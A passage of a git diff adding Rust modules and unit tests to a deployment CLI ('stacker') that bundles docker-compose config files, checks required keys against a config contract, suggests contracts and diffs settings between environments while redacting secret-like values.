"remote_compose_path": self.remote_compose_path.to_string_lossy(), + "config_files": files, + }) + } +} + +pub fn build_config_bundle( + project_dir: &Path, + environment: &str, + compose_path: &Path, + env_file: Option<&Path>, +) -> Result { + validate_environment_name(environment)?; + + let project_root = project_dir.canonicalize()?; + let compose_canonical = compose_path.canonicalize()?; + ensure_inside_project(&project_root, &compose_canonical)?; + let compose_dir = compose_canonical + .parent() + .ok_or_else(|| validation_error("compose file must have a parent directory"))?; + + let output_dir = project_root.join(".stacker/deploy").join(environment); + std::fs::create_dir_all(&output_dir)?; + let manifest_path = output_dir.join("config-bundle.manifest.json"); + let archive_path = output_dir.join("config-bundle.tar.zst"); + let remote_compose_path = output_dir.join("docker-compose.remote.yml"); + + let compose_content = std::fs::read_to_string(&compose_canonical)?; + let mut compose_yaml: serde_yaml::Value = serde_yaml::from_str(&compose_content)?; + let mut collected = BTreeMap::::new(); + + let selected_env_file = if let Some(env_file) = env_file { + let resolved = resolve_reference_path(&project_root, &project_root, env_file)?; + collect_file(&project_root, environment, resolved.clone(), &mut collected)?; + Some(resolved) + } else { + None + }; + + rewrite_compose_references( + &project_root, + compose_dir, + environment, + &mut compose_yaml, + &mut collected, + )?; + + let rewritten_compose = serde_yaml::to_string(&compose_yaml) + .map_err(|err| validation_error(format!("failed to write remote compose: {err}")))?; + std::fs::write(&remote_compose_path, &rewritten_compose)?; + + let mut files: Vec = collected + .values() + .map(|file| ConfigBundleFile { + source_path: file.source_path.clone(), + destination_path: file.destination_path.clone(), + mode: file.mode.clone(), + size: file.bytes.len() as u64, + sha256: sha256_hex(&file.bytes), + }) + .collect(); + files.sort_by(|left, right| left.source_path.cmp(&right.source_path)); + validate_relative_destinations(&files)?; + + let manifest = ConfigBundleManifest { + version: 1, + environment: environment.to_string(), + files, + }; + let manifest_json = serde_json::to_string_pretty(&manifest) + .map_err(|err| validation_error(format!("failed to serialize manifest: {err}")))?; + std::fs::write(&manifest_path, manifest_json)?; + write_archive(&archive_path, collected.values())?; + + let mut config_files = Vec::new(); + config_files.push(json!({ + "name": "docker-compose.yml", + "content": rewritten_compose, + "content_type": "application/x-yaml", + "destination_path": "docker-compose.yml", + "file_mode": "0644", + "owner": "root", + "group": "root" + })); + + if let Some(selected_env_file) = selected_env_file.as_ref() { + let canonical = selected_env_file.canonicalize()?; + let collected_env_file = collected + .get(&canonical) + .expect("selected env file should be present in collected bundle"); + let compose_env_content = + String::from_utf8(collected_env_file.bytes.clone()).map_err(|_| { + validation_error(format!( + "config file '{}' must be UTF-8 text to upload in the deploy payload", + collected_env_file.source_path + )) + })?; + config_files.push(json!({ + "name": ".env", + "content": compose_env_content, + "content_type": "text/plain", + "destination_path": ".env", + "file_mode": collected_env_file.mode, + "owner": "root", + "group": "root" + })); + } + + for file in collected.values() { + let content = String::from_utf8(file.bytes.clone()).map_err(|_| { + validation_error(format!( + "config file '{}' must be UTF-8 text to upload in the deploy payload", + file.source_path + )) + })?; + config_files.push(json!({ + "name": Path::new(&file.source_path) + .file_name() + .and_then(|name| name.to_str()) + .unwrap_or(file.source_path.as_str()), + "content": content, + "content_type": "text/plain", + "destination_path": file.destination_path, + "file_mode": file.mode, + "owner": "root", + "group": "root" + })); + } + + Ok(ConfigBundleArtifacts { + environment: environment.to_string(), + manifest_path, + archive_path, + remote_compose_path, + manifest, + config_files, + }) +} + +#[derive(Debug, Clone)] +struct CollectedFile { + source_path: String, + destination_path: String, + mode: String, + bytes: Vec, +} + +fn rewrite_compose_references( + project_root: &Path, + compose_dir: &Path, + environment: &str, + compose_yaml: &mut serde_yaml::Value, + collected: &mut BTreeMap, +) -> Result<(), CliError> { + let Some(services) = mapping_mut(compose_yaml) + .and_then(|root| root.get_mut(serde_yaml::Value::String("services".to_string()))) + .and_then(mapping_mut) + else { + return Ok(()); + }; + + for service in services.values_mut() { + let Some(service_map) = mapping_mut(service) else { + continue; + }; + + if let Some(env_file_value) = + service_map.get_mut(serde_yaml::Value::String("env_file".to_string())) + { + rewrite_env_file( + project_root, + compose_dir, + environment, + env_file_value, + collected, + )?; + } + + if let Some(volumes_value) = + service_map.get_mut(serde_yaml::Value::String("volumes".to_string())) + { + rewrite_volumes( + project_root, + compose_dir, + environment, + volumes_value, + collected, + )?; + } + } + + Ok(()) +} + +fn rewrite_env_file( + project_root: &Path, + compose_dir: &Path, + environment: &str, + value: &mut serde_yaml::Value, + collected: &mut BTreeMap, +) -> Result<(), CliError> { + match value { + serde_yaml::Value::String(path) => { + let remote = + collect_reference(project_root, compose_dir, environment, path, collected)?; + *path = remote; + } + serde_yaml::Value::Sequence(values) => { + for item in values { + if let serde_yaml::Value::String(path) = item { + let remote = + collect_reference(project_root, compose_dir, environment, path, collected)?; + *path = remote; + } + } + } + _ => {} + } + + Ok(()) +} + +fn rewrite_volumes( + project_root: &Path, + compose_dir: &Path, + environment: &str, + value: &mut serde_yaml::Value, + collected: &mut BTreeMap, +) -> Result<(), CliError> { + let serde_yaml::Value::Sequence(volumes) = value else { + return Ok(()); + }; + + for volume in volumes { + let serde_yaml::Value::String(volume_spec) = volume else { + continue; + }; + let Some((source, rest)) = parse_bind_mount(volume_spec) else { + continue; + }; + let remote = collect_reference(project_root, compose_dir, environment, source, collected)?; + *volume_spec = format!("{remote}:{rest}"); + } + + Ok(()) +} + +fn parse_bind_mount(volume_spec: &str) -> Option<(&str, &str)> { + let (source, rest) = volume_spec.split_once(':')?; + if source.starts_with('.') + || source.starts_with('/') + || source.starts_with('~') + || source.contains(std::path::MAIN_SEPARATOR) + { + Some((source, rest)) + } else { + None + } +} + +fn collect_reference( + project_root: &Path, + base_dir: &Path, + environment: &str, + reference: &str, + collected: &mut BTreeMap, +) -> Result { + let resolved = resolve_reference_path(project_root, base_dir, Path::new(reference))?; + let collected_file = collect_file(project_root, environment, resolved, collected)?; + Ok(collected_file.destination_path.clone()) +} + +fn collect_file<'a>( + project_root: &Path, + _environment: &str, + path: PathBuf, + collected: &'a mut BTreeMap, +) -> Result<&'a CollectedFile, CliError> { + let canonical = path.canonicalize().map_err(|err| { + validation_error(format!( + "config bundle referenced file does not exist or cannot be read: {} ({})", + path.display(), + err + )) + })?; + ensure_inside_project(project_root, &canonical)?; + + if canonical.is_dir() { + return Err(validation_error(format!( + "directory mounts are not supported in config bundles: {}", + display_project_path(project_root, &canonical) + ))); + } + + if !canonical.is_file() { + return Err(validation_error(format!( + "config bundle path is not a file: {}", + canonical.display() + ))); + } + + if !collected.contains_key(&canonical) { + let source_path = display_project_path(project_root, &canonical); + let destination_path = source_path.replace('\\', "/"); + collected.insert( + canonical.clone(), + CollectedFile { + source_path, + destination_path, + mode: "0644".to_string(), + bytes: std::fs::read(&canonical).map_err(|err| { + validation_error(format!( + "failed to read config bundle file {}: {}", + display_project_path(project_root, &canonical), + err + )) + })?, + }, + ); + } + + Ok(collected + .get(&canonical) + .expect("collected file was inserted")) +} + +fn validate_relative_destinations(files: &[ConfigBundleFile]) -> Result<(), CliError> { + for file in files { + if Path::new(&file.destination_path).is_absolute() { + return Err(validation_error(format!( + "config bundle destination must be project-relative: {} -> {}", + file.source_path, file.destination_path + ))); + } + } + + Ok(()) +} + +fn write_archive<'a>( + archive_path: &Path, + files: impl IntoIterator, +) -> Result<(), CliError> { + let archive_file = File::create(archive_path)?; + let encoder = Encoder::new(archive_file, 0) + .map_err(|err| validation_error(format!("failed to create zstd archive: {err}")))?; + let mut tar = Builder::new(encoder); + + for file in files { + let mut header = Header::new_gnu(); + header.set_size(file.bytes.len() as u64); + header.set_mode(0o644); + header.set_mtime(0); + header.set_cksum(); + tar.append_data(&mut header, &file.source_path, file.bytes.as_slice())?; + } + + let encoder = tar.into_inner()?; + encoder + .finish() + .map_err(|err| validation_error(format!("failed to finish zstd archive: {err}")))?; + Ok(()) +} + +fn resolve_reference_path( + project_root: &Path, + base_dir: &Path, + reference: &Path, +) -> Result { + if reference.is_absolute() { + return Ok(reference.to_path_buf()); + } + + if reference.starts_with("~") { + return Err(validation_error(format!( + "home-relative config paths are not supported: {}", + reference.display() + ))); + } + + let base = if reference + .components() + .any(|component| matches!(component, Component::ParentDir)) + { + let joined = base_dir.join(reference); + joined.canonicalize().map_err(|err| { + validation_error(format!( + "config bundle referenced file does not exist or cannot be read: {} ({})", + joined.display(), + err + )) + })? + } else { + base_dir.join(reference) + }; + + let canonical = base.canonicalize().map_err(|err| { + validation_error(format!( + "config bundle referenced file does not exist or cannot be read: {} ({})", + base.display(), + err + )) + })?; + ensure_inside_project(project_root, &canonical)?; + Ok(canonical) +} + +fn ensure_inside_project(project_root: &Path, path: &Path) -> Result<(), CliError> { + if path.starts_with(project_root) { + return Ok(()); + } + + Err(validation_error(format!( + "config bundle path must stay inside the project directory: {}", + path.display() + ))) +} + +fn display_project_path(project_root: &Path, path: &Path) -> String { + path.strip_prefix(project_root) + .unwrap_or(path) + .to_string_lossy() + .replace('\\', "/") +} + +fn validate_environment_name(environment: &str) -> Result<(), CliError> { + if !environment.is_empty() + && environment + .chars() + .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '-' | '_')) + { + return Ok(()); + } + + Err(validation_error(format!( + "environment name must contain only letters, digits, '-' or '_': {environment}" + ))) +} + +fn sha256_hex(bytes: &[u8]) -> String { + let mut hasher = Sha256::new(); + hasher.update(bytes); + format!("{:x}", hasher.finalize()) +} + +fn is_secret_like_path(path: &str) -> bool { + let file_name = Path::new(path) + .file_name() + .and_then(|name| name.to_str()) + .unwrap_or(path) + .to_ascii_lowercase(); + + file_name == ".env" + || file_name.ends_with(".env") + || file_name.contains("secret") + || file_name.contains("password") + || file_name.contains("private") + || file_name.ends_with(".key") +} + +fn mapping_mut(value: &mut serde_yaml::Value) -> Option<&mut serde_yaml::Mapping> { + match value { + serde_yaml::Value::Mapping(mapping) => Some(mapping), + _ => None, + } +} + +fn validation_error(message: impl Into) -> CliError { + CliError::ConfigValidation(message.into()) +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + #[test] + fn build_config_bundle_collects_env_file_and_file_mounts_for_environment() { + let dir = TempDir::new().unwrap(); + let compose_dir = dir.path().join("docker/production"); + std::fs::create_dir_all(&compose_dir).unwrap(); + std::fs::write(compose_dir.join(".env"), "RUST_LOG=warning\n").unwrap(); + std::fs::write(compose_dir.join("nginx.conf"), "events {}\n").unwrap(); + std::fs::write( + compose_dir.join("compose.yml"), + r#" +services: + api: + image: device-api:latest + env_file: + - .env + volumes: + - ./nginx.conf:/etc/nginx/nginx.conf:ro +"#, + ) + .unwrap(); + + let artifacts = build_config_bundle( + dir.path(), + "production", + &compose_dir.join("compose.yml"), + Some(&compose_dir.join(".env")), + ) + .expect("bundle should be built"); + + assert_eq!(artifacts.environment, "production"); + assert!(artifacts + .manifest_path + .ends_with(".stacker/deploy/production/config-bundle.manifest.json")); + assert!(artifacts + .archive_path + .ends_with(".stacker/deploy/production/config-bundle.tar.zst")); + assert!(artifacts + .remote_compose_path + .ends_with(".stacker/deploy/production/docker-compose.remote.yml")); + assert!(artifacts.manifest_path.exists()); + assert!(artifacts.archive_path.exists()); + assert!(artifacts.remote_compose_path.exists()); + + let sources: Vec<&str> = artifacts + .manifest + .files + .iter() + .map(|file| file.source_path.as_str()) + .collect(); + assert!(sources.contains(&"docker/production/.env")); + assert!(sources.contains(&"docker/production/nginx.conf")); + + let remote_compose = std::fs::read_to_string(&artifacts.remote_compose_path).unwrap(); + assert!(remote_compose.contains("docker/production/.env")); + assert!(remote_compose.contains("docker/production/nginx.conf:/etc/nginx/nginx.conf:ro")); + + let names: Vec<&str> = artifacts + .config_files + .iter() + .filter_map(|file| file.get("name").and_then(|name| name.as_str())) + .collect(); + assert!(names.contains(&"docker-compose.yml")); + assert!(names.contains(&".env")); + assert!(names.contains(&"nginx.conf")); + + let root_env = artifacts + .config_files + .iter() + .find(|file| { + file.get("destination_path") + .and_then(|value| value.as_str()) + == Some(".env") + }) + .expect("selected env file should also be uploaded as compose root .env"); + assert_eq!(root_env["content"], "RUST_LOG=warning\n"); + } + + #[test] + fn build_config_bundle_keeps_root_compose_env_file_project_relative() { + let dir = TempDir::new().unwrap(); + std::fs::write(dir.path().join(".env"), "APP_ENV=production\n").unwrap(); + std::fs::write( + dir.path().join("docker-compose.yml"), + r#" +services: + web: + image: nginx:latest + env_file: + - .env +"#, + ) + .unwrap(); + + let artifacts = build_config_bundle( + dir.path(), + "production", + &dir.path().join("docker-compose.yml"), + None, + ) + .expect("bundle should be built"); + + let remote_compose = std::fs::read_to_string(&artifacts.remote_compose_path).unwrap(); + assert!(remote_compose.contains(".env")); + assert!(!remote_compose.contains("/opt/stacker/deployments")); + + assert!(artifacts.config_files.iter().any(|file| { + file.get("destination_path") + .and_then(|value| value.as_str()) + == Some(".env") + })); + } + + #[test] + fn validate_relative_destinations_rejects_absolute_paths() { + let err = validate_relative_destinations(&[ConfigBundleFile { + source_path: ".env".to_string(), + destination_path: "/opt/stacker/deployments/production/files/.env".to_string(), + mode: "0644".to_string(), + size: 12, + sha256: "abc".to_string(), + }]) + .unwrap_err(); + + assert!(err + .to_string() + .contains("config bundle destination must be project-relative")); + } + + #[test] + fn build_config_bundle_rejects_directory_mounts() { + let dir = TempDir::new().unwrap(); + let compose_dir = dir.path().join("docker/production"); + std::fs::create_dir_all(compose_dir.join("config")).unwrap(); + std::fs::write( + compose_dir.join("compose.yml"), + r#" +services: + api: + image: device-api:latest + volumes: + - ./config:/app/config:ro +"#, + ) + .unwrap(); + + let err = build_config_bundle( + dir.path(), + "production", + &compose_dir.join("compose.yml"), + None, + ) + .unwrap_err(); + + assert!( + err.to_string() + .contains("directory mounts are not supported"), + "unexpected error: {err}" + ); + } + + #[test] + fn build_config_bundle_reports_missing_env_file_path() { + let dir = TempDir::new().unwrap(); + let compose_dir = dir.path().join("docker/production"); + std::fs::create_dir_all(&compose_dir).unwrap(); + std::fs::write( + compose_dir.join("compose.yml"), + r#" +services: + upload: + image: syncopia/upload:latest + env_file: + - upload.env +"#, + ) + .unwrap(); + + let err = build_config_bundle( + dir.path(), + "production", + &compose_dir.join("compose.yml"), + None, + ) + .unwrap_err(); + + assert!( + err.to_string().contains("docker/production/upload.env") + || err.to_string().contains("docker/production\\upload.env"), + "unexpected error: {err}" + ); + } + + #[test] + fn artifact_metadata_marks_secret_like_files_hidden() { + let manifest = ConfigBundleManifest { + version: 1, + environment: "production".to_string(), + files: vec![ + ConfigBundleFile { + source_path: "docker/production/.env".to_string(), + destination_path: "docker/production/.env".to_string(), + mode: "0644".to_string(), + size: 12, + sha256: "abc".to_string(), + }, + ConfigBundleFile { + source_path: "docker/production/nginx.conf".to_string(), + destination_path: "docker/production/nginx.conf".to_string(), + mode: "0644".to_string(), + size: 10, + sha256: "def".to_string(), + }, + ], + }; + let artifacts = ConfigBundleArtifacts { + environment: "production".to_string(), + manifest_path: PathBuf::from(".stacker/deploy/production/config-bundle.manifest.json"), + archive_path: PathBuf::from(".stacker/deploy/production/config-bundle.tar.zst"), + remote_compose_path: PathBuf::from( + ".stacker/deploy/production/docker-compose.remote.yml", + ), + manifest, + config_files: vec![], + }; + + let metadata = artifacts.artifact_metadata(); + assert_eq!(metadata["environment"], "production"); + assert_eq!(metadata["config_files"][0]["content_hidden"], true); + assert_eq!(metadata["config_files"][1]["content_hidden"], false); + assert!(metadata["config_files"][0].get("content").is_none()); + } +} diff --git a/stacker/stacker/src/cli/config_check.rs b/stacker/stacker/src/cli/config_check.rs new file mode 100644 index 0000000..9ae5331 --- /dev/null +++ b/stacker/stacker/src/cli/config_check.rs @@ -0,0 +1,254 @@ +use std::collections::{BTreeMap, BTreeSet}; +use std::path::Path; + +use serde::Serialize; + +use crate::cli::config_inventory::{load_inventory, ConfigInventory, InventoryOptions}; +use crate::cli::config_parser::StackerConfig; +use crate::cli::error::CliError; + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct ConfigCheckResult { + pub environment: String, + pub service: Option, + pub missing_required: Vec, + pub missing_optional: Vec, + pub warnings: Vec, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct ConfigCheckItem { + pub target: String, + pub key: String, + pub secret: bool, +} + +pub fn load_check( + config_path: &Path, + environment: &str, + service: Option, +) -> Result { + let config = StackerConfig::from_file(config_path)?; + let inventory = load_inventory( + config_path, + &InventoryOptions { + environment: environment.to_string(), + service: service.clone(), + show_values: false, + }, + )?; + + Ok(check_inventory(config, inventory, service)) +} + +pub fn check_inventory( + config: StackerConfig, + inventory: ConfigInventory, + service: Option, +) -> ConfigCheckResult { + let mut present_keys = BTreeMap::new(); + for target in &inventory.targets { + let keys = target + .keys + .iter() + .map(|key| key.key.clone()) + .collect::>(); + present_keys.insert(target.target_code.clone(), keys); + } + + let mut missing_required = Vec::new(); + let mut missing_optional = Vec::new(); + + for (target, contract) in config.config_contract.services { + if service.as_deref().is_some_and(|filter| filter != target) { + continue; + } + + let present = present_keys.get(&target).cloned().unwrap_or_default(); + let secret_keys = contract.secret.into_iter().collect::>(); + + for key in contract.required { + if !present.contains(&key) { + missing_required.push(ConfigCheckItem { + secret: secret_keys.contains(&key), + target: target.clone(), + key, + }); + } + } + + for key in contract.optional { + if !present.contains(&key) { + missing_optional.push(ConfigCheckItem { + secret: secret_keys.contains(&key), + target: target.clone(), + key, + }); + } + } + } + + ConfigCheckResult { + environment: inventory.environment, + service, + missing_required, + missing_optional, + warnings: inventory.warnings, + } +} + +impl ConfigCheckResult { + pub fn has_required_failures(&self) -> bool { + !self.missing_required.is_empty() + } + + pub fn has_warnings(&self) -> bool { + !self.missing_optional.is_empty() || !self.warnings.is_empty() + } +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + fn write(path: &Path, content: &str) { + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).unwrap(); + } + std::fs::write(path, content).unwrap(); + } + + fn check(root: &Path, service: Option<&str>) -> ConfigCheckResult { + load_check( + &root.join("stacker.yml"), + "prod", + service.map(str::to_string), + ) + .unwrap() + } + + #[test] + fn config_check_reports_required_key_missing_from_target() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +environments: + prod: + env_file: docker/prod/.env +config_contract: + services: + device-api: + required: + - DATABASE_URL +"#, + ); + write(&temp.path().join("docker/prod/.env"), "RUST_LOG=debug\n"); + + let result = check(temp.path(), None); + + assert!(result.has_required_failures()); + assert_eq!(result.missing_required[0].target, "device-api"); + assert_eq!(result.missing_required[0].key, "DATABASE_URL"); + } + + #[test] + fn config_check_treats_optional_key_as_warning_only() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +config_contract: + services: + device-api: + optional: + - SENTRY_DSN +"#, + ); + + let result = check(temp.path(), None); + + assert!(!result.has_required_failures()); + assert!(result.has_warnings()); + assert_eq!(result.missing_optional[0].key, "SENTRY_DSN"); + } + + #[test] + fn config_check_secret_contract_redacts_missing_key_marker() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +config_contract: + services: + device-api: + required: + - CUSTOM_API_KEY + secret: + - CUSTOM_API_KEY +"#, + ); + + let result = check(temp.path(), None); + + assert!(result.missing_required[0].secret); + assert_eq!(result.missing_required[0].key, "CUSTOM_API_KEY"); + } + + #[test] + fn config_check_passes_when_required_key_exists() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +environments: + prod: + env_file: docker/prod/.env +config_contract: + services: + device-api: + required: + - DATABASE_URL +"#, + ); + write( + &temp.path().join("docker/prod/.env"), + "DATABASE_URL=postgres://db\n", + ); + + let result = check(temp.path(), None); + + assert!(!result.has_required_failures()); + assert!(result.missing_required.is_empty()); + } + + #[test] + fn config_check_respects_service_filter() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +config_contract: + services: + device-api: + required: + - DATABASE_URL + upload: + required: + - S3_BUCKET +"#, + ); + + let result = check(temp.path(), Some("upload")); + + assert_eq!(result.missing_required.len(), 1); + assert_eq!(result.missing_required[0].target, "upload"); + assert_eq!(result.missing_required[0].key, "S3_BUCKET"); + } +} diff --git a/stacker/stacker/src/cli/config_contract.rs b/stacker/stacker/src/cli/config_contract.rs new file mode 100644 index 0000000..7fd5764 --- /dev/null +++ b/stacker/stacker/src/cli/config_contract.rs @@ -0,0 +1,173 @@ +use std::collections::BTreeMap; +use std::path::Path; + +use serde::Serialize; + +use crate::cli::config_inventory::{load_inventory, ConfigInventory, InventoryOptions}; +use crate::cli::config_parser::{ConfigContract, TargetConfigContract}; +use crate::cli::error::CliError; + +#[derive(Debug, Clone)] +pub struct ContractSuggestOptions { + pub environment: String, + pub service: Option, +} + +#[derive(Debug, Serialize)] +struct ContractSuggestion { + config_contract: ConfigContract, +} + +pub fn suggest_contract_yaml( + config_path: &Path, + options: &ContractSuggestOptions, +) -> Result { + let inventory = load_inventory( + config_path, + &InventoryOptions { + environment: options.environment.clone(), + service: options.service.clone(), + show_values: false, + }, + )?; + + contract_suggestion_yaml(suggest_contract(inventory)) +} + +pub fn suggest_contract(inventory: ConfigInventory) -> ConfigContract { + let mut services = BTreeMap::new(); + + for target in inventory.targets { + let mut required = Vec::new(); + let mut secret = Vec::new(); + + for key in target.keys { + required.push(key.key.clone()); + if key.secret { + secret.push(key.key); + } + } + + services.insert( + target.target_code, + TargetConfigContract { + required, + optional: Vec::new(), + secret, + }, + ); + } + + ConfigContract { services } +} + +pub fn contract_suggestion_yaml(contract: ConfigContract) -> Result { + serde_yaml::to_string(&ContractSuggestion { + config_contract: contract, + }) + .map_err(CliError::from) +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + fn write(path: &Path, content: &str) { + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).unwrap(); + } + std::fs::write(path, content).unwrap(); + } + + #[test] + fn config_contract_suggest_generates_required_keys_from_inventory() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +environments: + prod: + env_file: docker/prod/.env +"#, + ); + write( + &temp.path().join("docker/prod/.env"), + "DATABASE_URL=postgres://db\nRUST_LOG=debug\n", + ); + + let yaml = suggest_contract_yaml( + &temp.path().join("stacker.yml"), + &ContractSuggestOptions { + environment: "prod".to_string(), + service: None, + }, + ) + .unwrap(); + + assert!(yaml.contains("config_contract:")); + assert!(yaml.contains("device-api:")); + assert!(yaml.contains("- DATABASE_URL")); + assert!(yaml.contains("- RUST_LOG")); + } + + #[test] + fn config_contract_suggest_classifies_secret_like_keys() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +env: + S3_SECRET_KEY: secret +"#, + ); + + let yaml = suggest_contract_yaml( + &temp.path().join("stacker.yml"), + &ContractSuggestOptions { + environment: "prod".to_string(), + service: None, + }, + ) + .unwrap(); + + assert!(yaml.contains("secret:")); + assert!(yaml.contains("- S3_SECRET_KEY")); + } + + #[test] + fn config_contract_suggest_respects_service_filter() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +services: + upload: + image: upload:latest + environment: + S3_BUCKET: bucket + worker: + image: worker:latest + environment: + QUEUE: default +"#, + ); + + let yaml = suggest_contract_yaml( + &temp.path().join("stacker.yml"), + &ContractSuggestOptions { + environment: "prod".to_string(), + service: Some("upload".to_string()), + }, + ) + .unwrap(); + + assert!(yaml.contains("upload:")); + assert!(yaml.contains("- S3_BUCKET")); + assert!(!yaml.contains("worker:")); + assert!(!yaml.contains("- QUEUE")); + } +} diff --git a/stacker/stacker/src/cli/config_diff.rs b/stacker/stacker/src/cli/config_diff.rs new file mode 100644 index 0000000..4ae0d26 --- /dev/null +++ b/stacker/stacker/src/cli/config_diff.rs @@ -0,0 +1,322 @@ +use std::collections::{BTreeMap, BTreeSet}; +use std::path::Path; + +use serde::Serialize; + +use crate::cli::config_inventory::{ + load_inventory, ConfigInventory, ConfigKeyInventory, InventoryOptions, +}; +use crate::cli::error::CliError; + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct ConfigDiff { + pub from_environment: String, + pub to_environment: String, + pub service: Option, + pub missing_in_to: Vec, + pub only_in_to: Vec, + pub different: Vec, + pub warnings: Vec, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct DiffItem { + pub target: String, + pub key: String, + pub secret: bool, + pub from_source: Option, + pub to_source: Option, + pub from_hash: Option, + pub to_hash: Option, +} + +pub fn load_diff( + config_path: &Path, + from_environment: &str, + to_environment: &str, + service: Option, +) -> Result { + let from_inventory = load_inventory( + config_path, + &InventoryOptions { + environment: from_environment.to_string(), + service: service.clone(), + show_values: false, + }, + )?; + let to_inventory = load_inventory( + config_path, + &InventoryOptions { + environment: to_environment.to_string(), + service: service.clone(), + show_values: false, + }, + )?; + + Ok(diff_inventories(from_inventory, to_inventory, service)) +} + +pub fn diff_inventories( + from_inventory: ConfigInventory, + to_inventory: ConfigInventory, + service: Option, +) -> ConfigDiff { + let from_environment = from_inventory.environment.clone(); + let to_environment = to_inventory.environment.clone(); + let mut warnings = from_inventory.warnings.clone(); + warnings.extend(to_inventory.warnings.clone()); + + let from_keys = flatten_inventory(from_inventory); + let to_keys = flatten_inventory(to_inventory); + let mut identities = BTreeSet::new(); + identities.extend(from_keys.keys().cloned()); + identities.extend(to_keys.keys().cloned()); + + let mut missing_in_to = Vec::new(); + let mut only_in_to = Vec::new(); + let mut different = Vec::new(); + + for identity in identities { + match (from_keys.get(&identity), to_keys.get(&identity)) { + (Some(from_key), None) => { + missing_in_to.push(diff_item(&identity, Some(from_key), None)) + } + (None, Some(to_key)) => only_in_to.push(diff_item(&identity, None, Some(to_key))), + (Some(from_key), Some(to_key)) if from_key.value_hash != to_key.value_hash => { + different.push(diff_item(&identity, Some(from_key), Some(to_key))); + } + _ => {} + } + } + + ConfigDiff { + from_environment, + to_environment, + service, + missing_in_to, + only_in_to, + different, + warnings, + } +} + +impl ConfigDiff { + pub fn has_differences(&self) -> bool { + !self.missing_in_to.is_empty() || !self.only_in_to.is_empty() || !self.different.is_empty() + } +} + +fn flatten_inventory(inventory: ConfigInventory) -> BTreeMap<(String, String), ConfigKeyInventory> { + let mut flattened = BTreeMap::new(); + + for target in inventory.targets { + for key in target.keys { + flattened.insert((target.target_code.clone(), key.key.clone()), key); + } + } + + flattened +} + +fn diff_item( + identity: &(String, String), + from_key: Option<&ConfigKeyInventory>, + to_key: Option<&ConfigKeyInventory>, +) -> DiffItem { + DiffItem { + target: identity.0.clone(), + key: identity.1.clone(), + secret: from_key + .map(|key| key.secret) + .or_else(|| to_key.map(|key| key.secret)) + .unwrap_or(false), + from_source: from_key.map(|key| key.source.clone()), + to_source: to_key.map(|key| key.source.clone()), + from_hash: from_key.and_then(|key| key.value_hash.clone()), + to_hash: to_key.and_then(|key| key.value_hash.clone()), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + fn write(path: &Path, content: &str) { + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).unwrap(); + } + std::fs::write(path, content).unwrap(); + } + + fn diff(root: &Path, service: Option<&str>) -> ConfigDiff { + load_diff( + &root.join("stacker.yml"), + "dev", + "prod", + service.map(str::to_string), + ) + .unwrap() + } + + fn write_env_diff_project(root: &Path, dev_env: &str, prod_env: &str) { + write( + &root.join("stacker.yml"), + r#" +name: device-api +environments: + dev: + env_file: docker/dev/.env + prod: + env_file: docker/prod/.env +"#, + ); + write(&root.join("docker/dev/.env"), dev_env); + write(&root.join("docker/prod/.env"), prod_env); + } + + #[test] + fn config_diff_reports_key_missing_in_target_environment() { + let temp = TempDir::new().unwrap(); + write_env_diff_project( + temp.path(), + "RUST_LOG=debug\nS3_BUCKET=dev-bucket\n", + "RUST_LOG=debug\n", + ); + + let diff = diff(temp.path(), None); + + assert_eq!(diff.missing_in_to.len(), 1); + assert_eq!(diff.missing_in_to[0].target, "device-api"); + assert_eq!(diff.missing_in_to[0].key, "S3_BUCKET"); + } + + #[test] + fn config_diff_reports_key_only_in_target_environment() { + let temp = TempDir::new().unwrap(); + write_env_diff_project( + temp.path(), + "RUST_LOG=debug\n", + "RUST_LOG=debug\nNODE_ENV=production\n", + ); + + let diff = diff(temp.path(), None); + + assert_eq!(diff.only_in_to.len(), 1); + assert_eq!(diff.only_in_to[0].key, "NODE_ENV"); + } + + #[test] + fn config_diff_reports_hash_difference_without_plaintext_values() { + let temp = TempDir::new().unwrap(); + write_env_diff_project(temp.path(), "RUST_LOG=debug\n", "RUST_LOG=info\n"); + + let diff = diff(temp.path(), None); + + assert_eq!(diff.different.len(), 1); + assert_eq!(diff.different[0].key, "RUST_LOG"); + assert_ne!(diff.different[0].from_hash, diff.different[0].to_hash); + } + + #[test] + fn config_diff_redacts_secret_like_differences() { + let temp = TempDir::new().unwrap(); + write_env_diff_project( + temp.path(), + "API_TOKEN=dev-secret\n", + "API_TOKEN=prod-secret\n", + ); + + let diff = diff(temp.path(), None); + + assert_eq!(diff.different.len(), 1); + assert!(diff.different[0].secret); + assert_ne!(diff.different[0].from_hash.as_deref(), Some("dev-secret")); + assert_ne!(diff.different[0].to_hash.as_deref(), Some("prod-secret")); + } + + #[test] + fn config_diff_respects_service_filter() { + let temp = TempDir::new().unwrap(); + write( + &temp.path().join("stacker.yml"), + r#" +name: device-api +environments: + dev: + compose_file: docker/dev/compose.yml + prod: + compose_file: docker/prod/compose.yml +"#, + ); + write( + &temp.path().join("docker/dev/compose.yml"), + r#" +services: + upload: + image: upload:latest + environment: + S3_BUCKET: dev-bucket + worker: + image: worker:latest + environment: + QUEUE: dev +"#, + ); + write( 